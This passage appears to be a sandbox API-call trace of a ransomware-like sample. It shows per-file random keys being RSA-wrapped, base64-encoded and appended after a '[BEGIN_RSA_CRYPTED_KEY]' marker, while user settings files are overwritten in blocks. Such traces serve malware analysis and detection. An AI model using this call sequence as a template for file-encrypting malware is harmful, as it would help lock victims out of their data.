pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0201.492] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0201.492] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0201.492] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="i6AoHnpKgkb0pQMuINMgbuUgA6c1tn4bA6Pz+tz3EO+BbfPNrv8Dm5fhxmH+UrkG\nfFoEikKk19Rmsx5o2sdQzvI+ixtB+z5oWMEayd2Rllm8YttUtA+f+BQOVOrLTqNL\n2v0dwu3EccAnZo63e5f/scGzMO7T6mBDwfkeNMS1ns4Hs/aiCjrWVeymc4OCJJk1\n2cJbkas7rTNEiPxeqeWNwuXKDCnptKxdlj4d000y+zIRcpQSr2mAzLnc0/WSJ6vr\n4jAgCodl9Jpt5Vr4CXxFtaIi5vGBBhG/yMkF0u6jwoYm0ByzMCPBjcJMaR+VoCSP\n7U3guA7zPZETdGK0CR6CDg==\n", pcchString=0x2e3f9a8) returned 1 [0201.492] WriteFile (in: hFile=0x1238, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0201.492] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.492] WriteFile (in: hFile=0x1238, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.493] CloseHandle (hObject=0x1238) returned 1 [0201.590] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0201.591] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.WindowPicker_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0201.591] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668b78 [0201.591] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5bd3b8 [0201.591] ReadFile (in: hFile=0x1238, lpBuffer=0x59d250, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d250*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0201.591] SetFilePointer (in: hFile=0x1238, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.591] WriteFile (in: hFile=0x1238, lpBuffer=0x59d350*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d350*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0201.591] SetFilePointer (in: hFile=0x1238, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0201.591] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.591] WriteFile (in: hFile=0x1238, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.593] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0201.593] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0201.593] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0201.593] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0201.593] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="nZTfcPXZl0T5BQwnaEDgWJwhQbMyAr0c/ZBFeJzENu8hx76BruyzYYE9BU/ORrk2\n0f9flPe4poLru4cF2zqevQPRl9Vn969QXnvf0C3ALxCy3PzpCXP6JH01H6Wp7E1U\nvxz+mxOvfzdWP2biNrrop91lrVD5c+KcJbCXU1ep+Ig39MfcdizYlfJr9nBGYw9D\n8jlLpXRWRwJFu0bKYQTHqH8/Qn39A9njBm47ZbO3Ij4tY+CfiBDl6cG3njxRRkXp\nfUaHFdQGyjHj/zuYr3yIJ45bt1M2qkrD2uXicvzOrs6k0Ueh2skZ6N5KqV0HL1rf\n7fzqD0fOiY9Bfe2Lz1sSFw==\n", pcchString=0x2e3f9a8) returned 1 [0201.593] WriteFile (in: hFile=0x1238, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0201.594] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.594] WriteFile (in: hFile=0x1238, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.594] CloseHandle (hObject=0x1238) returned 1 [0201.597] WriteFile (in: hFile=0x1244, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0201.598] CloseHandle (hObject=0x1244) returned 1 [0201.600] WriteFile (in: hFile=0x1244, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0201.601] CloseHandle (hObject=0x1244) returned 1 [0201.602] WriteFile (in: hFile=0x1244, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0201.603] CloseHandle (hObject=0x1244) returned 1 [0201.617] WriteFile (in: hFile=0x1250, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0201.618] CloseHandle (hObject=0x1250) returned 1 [0201.621] WriteFile (in: hFile=0x1250, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0201.622] CloseHandle (hObject=0x1250) returned 1 [0201.622] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0201.623] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0201.625] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668d28 [0201.625] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5bd3b8 [0201.625] ReadFile (in: hFile=0x1258, lpBuffer=0x59d2a0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2a0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0201.625] SetFilePointer (in: hFile=0x1258, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.625] WriteFile (in: hFile=0x1258, lpBuffer=0x59d2c0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0201.625] SetFilePointer (in: hFile=0x1258, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0201.626] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.626] WriteFile (in: hFile=0x1258, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.627] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0201.627] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0201.627] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0201.627] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0201.627] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="hmy9LCy2TLwqCxxKQwtKHtNiR2JAmHzTaV4mklqjd3RRDjfkLQq8Wl9Zezzej8+f\ne5FIC6Fj6bLVnyw+8Gmhw88hhUZngq2kedP9pI7JLe27mpUKn1rGs3RqnpM93vZE\na+BPSmoDLxG1/nWwZuqnNyAmEBb3NdFiHZw5v7PUJDstM4NiNzsulcRq+DwDV6tO\nDwAWA4bBaMEvbF2mIZ+bxaQo6FZ0W0S2Hqf5OlRFY1gGbALKHLuuoMsLz+0/E3Yt\nZR4bWu51qoPK6uWZChdpK8ziHD2twzNiii7tVLMWEQL8HNehXbG5lwViXz6Yhi2D\ntliHc0a8paDeqn5+R465TA==\n", pcchString=0x2e3f9a8) returned 1 [0201.628] WriteFile (in: hFile=0x1258, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0201.628] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.628] WriteFile (in: hFile=0x1258, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.628] CloseHandle (hObject=0x1258) returned 1 [0201.630] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0201.630] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0201.633] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x669670 [0201.633] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5bd3b8 [0201.633] ReadFile (in: hFile=0x1258, lpBuffer=0x2f9b8f8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f9b8f8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0201.716] SetFilePointer (in: hFile=0x1258, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.716] WriteFile (in: hFile=0x1258, lpBuffer=0x2f8d8c0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8d8c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0201.716] SetFilePointer (in: hFile=0x1258, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0201.716] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.717] WriteFile (in: hFile=0x1258, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.717] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0201.717] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0201.718] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0201.718] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0201.718] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="KxdEMhJz4/aLav4XHztF3TcLz5SkCVm4FSmuPkvXDBvKEEs0eRzmVHWLY/6DblXu\nirswqlCNgVB8f4mk3qv2zS/9dHyzwnkVBNzeUqgSgb/NjyaXSyTz5d/ArN8e3Vyq\nYJ0J6b6xHbQnVbHiOgi4x21XW9JsZq9fUiY++qHIzEHgUkRqGTsfluaZCO1TuyTB\nzWNQyN1r8NaYARtVYLUMJo0auZpPl7TMsRnYFOwPsnjCEWN4x2SyWb2JqR7AIL7d\ndpU4ZIzIBWWe1jl6NrNbJvoQdt8cGmrz7gpfJscDYSQ6NZP2CTmuf9xkzmsPZF7M\nEd6Mz5xf161G3/MgC5PwVg==\n", pcchString=0x2e3f9a8) returned 1 [0201.718] WriteFile (in: hFile=0x1258, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0201.718] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.718] WriteFile (in: hFile=0x1258, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.718] CloseHandle (hObject=0x1258) returned 1 [0201.721] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0201.721] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0201.724] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668230 [0201.724] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5bd3b8 [0201.724] ReadFile (in: hFile=0x1258, lpBuffer=0x2f998f0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f998f0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0201.739] SetFilePointer (in: hFile=0x1258, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.739] WriteFile (in: hFile=0x1258, lpBuffer=0x2f958e0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f958e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0201.739] SetFilePointer (in: hFile=0x1258, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0201.740] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.740] WriteFile (in: hFile=0x1258, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.740] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0201.740] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0201.741] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0201.741] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0201.741] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="RySVpBfsrSgp4uAiiMQXD7mU6BWvuCMgHLb+AZLuwuySDU7t0ZAZmCBt8hsGRPDP\n4j1NQbudp9FyZPQWve87zc5aamCSuG3rtW2n1I/nWV9tngxjsFtkJ/5pCGkz2hEI\nrAbuzA2eDBN5UV42TgZJI1TpBvf2BgZcq2YF+yP2I/tKH6USCtWsmT1RQ4iv8hG4\nyYeKe5VKUsaFqf+MTocXTUOKT4s+6Z3iDgdkNyCL1RgKp0VsPWODBDEZ1oEiwMW+\nCgaMARdtvp0gJKECnpfZ7E5on2PwVM00lpiiAB63Qq3DJTr5kj6QLLrFhy4CyOaS\n0DN1XZ00MGWdOwXiv72BWA==\n", pcchString=0x2e3f9a8) returned 1 [0201.741] WriteFile (in: hFile=0x1258, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0201.741] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.741] WriteFile (in: hFile=0x1258, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.742] CloseHandle (hObject=0x1258) returned 1 [0201.753] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0201.754] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0201.754] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x6694c0 [0201.754] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5bd3b8 [0201.754] ReadFile (in: hFile=0x1258, lpBuffer=0x59d1a0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1a0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0201.754] SetFilePointer (in: hFile=0x1258, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.754] WriteFile (in: hFile=0x1258, lpBuffer=0x59d210*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d210*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0201.754] SetFilePointer (in: hFile=0x1258, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0201.755] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.755] WriteFile (in: hFile=0x1258, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.756] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0201.756] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0201.757] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0201.757] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0201.757] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="FnV0mb62Wo0/1KPPFVPHf2wN5krDxwow3Ejyjv+aX6dl/m6jZYnn9hJhv1UDl10N\nMwf7SG98r0tvaHBLPnMLP2n9sx2Jy9FbRUYma0SRTPf4LBCqEMSudO+jeUqLSeUj\n50b0S9p/bwlDr0rKfmVef2gBGbKbuLXl0AuoQfiopnahtbo75kE309Pdvdq3E/du\n+um27+95MOIInakMzsgNfRXB64D6yvNVGt+nnZppyfTvAiFnqY7tuZOPIhsk/JEZ\n41kmas0gm8jQ0MW0YOp/ZJsrC2BgVZD++pKbjukuZG0Pmh8DVbL+yjiEK+oF8D1L\n4tVMoKXXywAJyngzCIlGhQ==\n", pcchString=0x2e3f9a8) returned 1 [0201.757] WriteFile (in: hFile=0x1258, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0201.757] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.757] WriteFile (in: hFile=0x1258, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.758] CloseHandle (hObject=0x1258) returned 1 [0201.763] WriteFile (in: hFile=0x1264, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0201.764] CloseHandle (hObject=0x1264) returned 1 [0201.767] WriteFile (in: hFile=0x1264, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0201.768] CloseHandle (hObject=0x1264) returned 1 [0201.769] WriteFile (in: hFile=0x1264, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0201.770] CloseHandle (hObject=0x1264) returned 1 [0201.771] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0201.771] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0201.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x6630c8 [0201.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14e) returned 0x5b3b90 [0201.874] ReadFile (in: hFile=0x1278, lpBuffer=0x59d2f0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2f0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0201.874] SetFilePointer (in: hFile=0x1278, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.874] WriteFile (in: hFile=0x1278, lpBuffer=0x59d350*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d350*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0201.875] SetFilePointer (in: hFile=0x1278, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0201.875] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.875] WriteFile (in: hFile=0x1278, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.876] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, 